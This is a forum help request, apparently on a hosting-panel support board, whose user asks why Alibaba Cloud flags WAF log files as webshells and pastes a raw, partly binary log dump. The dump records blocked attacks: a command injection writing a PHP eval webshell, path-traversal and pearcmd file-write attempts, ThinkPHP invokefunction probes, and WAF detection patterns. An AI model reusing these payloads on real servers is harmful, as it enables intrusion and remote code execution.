阿里云发现包含WEBSHELL代码的日志/图片文件，我有购买专.....

为了能快速了解并处理您的问题，请提供以下基础信息：

面板、插件版本：9.2

系统版本：DEBIAN12

问题描述：阿里云发现包含WEBSHELL代码的日志/图片文件

相关截图（日志、错误）：

报毒文件: 报毒文件.rar (15.57 KB, 下载次数: 9)

2024-11-14 04:19 上传

点击文件名下载附件

恶意代码显示

Expand 10 linesExpand 30 linesExpand 100 lines

1184


日本

1185


日本

1186


美国

1187


美国

1188


美国  美国  ?� ��u��(�fô

1189

u��T �+!���
u�(g3)  !�%o � g2��2024-11-12 14:33:49ip.com199.45.154.148美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�'f3'  !�%o � g2��2024-11-12 12:55:39ip.com206.168.34.41美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�+e3)  #!�%o � g2��2024-11-12 12:55:33ip.com167.94.138.168美国-83.772708842.2733151GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�&d3+  �%o � g2߹2024-11-12 12:55:21ip.com162.142.125.209美国-87.686241.8373GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�c3'  !� 9+�� g2Z2024-11-12 03:25:06ip.com64.227.149.86印度77.490855612.95396GET/source/pack/127.0.0.1/download.php?site=1;echo%20%27%3C?php%20eval($_POST%5B%22bushiwo%22%5D);?%3E%27%20%3E%20configsx.php%3Bpython-requests/2.25.1PHP代码执行\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[ >> site=1;echo '<?php eval($_POST["bushiwo"]);?>' > configsx.php; >> 1;echo '<?php eval($_POST["bushiwo"]);?>' > configsx.php;php/www/server/btwaf/totla_db/http_log/dafaaa7f234105a3e48f08bf3841fe98.log�_b3%  #q9%�E#� g1��2024-11-11 15:43:10ip.com8.216.88.157日本139.453791635.667903GET/index.php?lang=../../../../../../../../tmp/index1Custom-AsyncHttpClient文件包含\.\./+\.\./ >> lang=../../../../../../../../tmp/index1 >> ../../../../../../../../tmp/index1file_import/www/server/btwaf/totla_db/http_log/5db3ab66ff2f3d88efea577c3da705db.log�Da3%  #�}9%�
#� g1��2024-11-11 15:43:10ip.com8.216.88.157日本139.453791635.667903GET/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.phpCustom-AsyncHttpClient文件包含\.\./+\.\./ >> lang=../../../../../../../../usr/local/lib/php/pearcmd >> ../../../../../../../../usr/local/lib/php/pearcmdfile_import/www/server/btwaf/totla_db/http_log/fcbe540091ce535b5d8188adf1ae44d5.log�!`3%  #�i9%�]� g1��2024-11-11 15:43:09ip.com8.216.88.157日本139.453791635.667903GET/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloCustom-AsyncHttpClient通用漏洞(invokefunction|call_user_func_array|\\think\\) >> function=call_user_func_array >> call_user_func_arraynday/www/server/btwaf/totla_db/http_log/040b995af122cb2b0083eae6b022a49e.log�_3%  #�[9%�]� g1��2024-11-11 15:43:09ip.com8.216.88.157日本139.453791635.667903GET/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloCustom-AsyncHttpClient通用漏洞(invokefunction|call_user_func_array|\\think\\) >> function=call_user_func_array >> call_user_func_arraynday/www/server/btwaf/totla_db/http_log/ba29f85da82a0abbeb9928ba76769736.log�h^3' !q9%�E#� g1u32024-11-11 11:08:35ip.com36.139.63.123深圳中国广东114.08594722.547GET/index.php?lang=../../../../../../../../tmp/index1Custom-AsyncHttpClient文件包含\.\./+\.\./ >> lang=../../../../../../../../tmp/index1 >> ../../../../../../../../tmp/index1file_import/www/server/btwaf/totla_db/http_log/5db3ab66ff2f3d88efea577c3da705db.log
?� ��u�F]��,vSQLite format 3@ !
.c
2 � � D��A��M ��)��2T##
qindexis_statu_ipblocking_ipCREATE INDEX is_statu_ip ON blocking_ip(is_status)A#
Windexip_ipblocking_ipCREATE INDEX ip_ip ON blocking_ip(ip)\)#
{indexserver_name_ipblocking_ipCREATE INDEX server_name_ip ON blocking_ip(server_name)f/#
�indextime_localtime_ipblocking_ipCREATE INDEX time_localtime_ip ON blocking_ip(time_localtime)G #
_indextime_ipblocking_ipCREATE INDEX time_ip ON blocking_ip(time)A#
Windexid_ipblocking_ip CREATE INDEX id_ip ON blocking_ip(id)�-##
�!tableblocking_ipblocking_ipCREATE TABLE blocking_ip (

1190

id INTEGER PRIMARY KEY AUTOINCREMENT,

1191

time INTEGER,

1192

time_localtime TEXT,

1193

server_name TEXT,

1194

ip TEXT,


Expand 10 linesExpand 30 linesExpand 100 lines

6083

'��%w3%/ % �%o � g3��2024-11-13 01:13:29yun.520fk.cn2602:80d:1005::12未知位置GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/6df7d79d873daaa69a1085d52004022f.log�(v3)  !�%o � g3{�2024-11-13 00:01:54ip.com206.168.34.213美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�(u3)  !�%o � g3{�2024-11-13 00:01:50ip.com206.168.34.122美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�(t3)  !�%o � g3{�2024-11-13 00:01:41ip.com206.168.34.120美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�'s3'  !�%o � g3{�2024-11-13 00:01:28ip.com206.168.34.39美国-95.71289137.09024GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log�+r3)  #!�%o � g3{�2024-11-13 00:01:23ip.com167.94.138.115美国-83.772708842.2733151GET/Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)恶意爬虫UA存在问题已经被系统拦截。并封锁IP/www/server/btwaf/totla_db/http_log/4b80ce68bfd8d130082fb98c94440b7a.log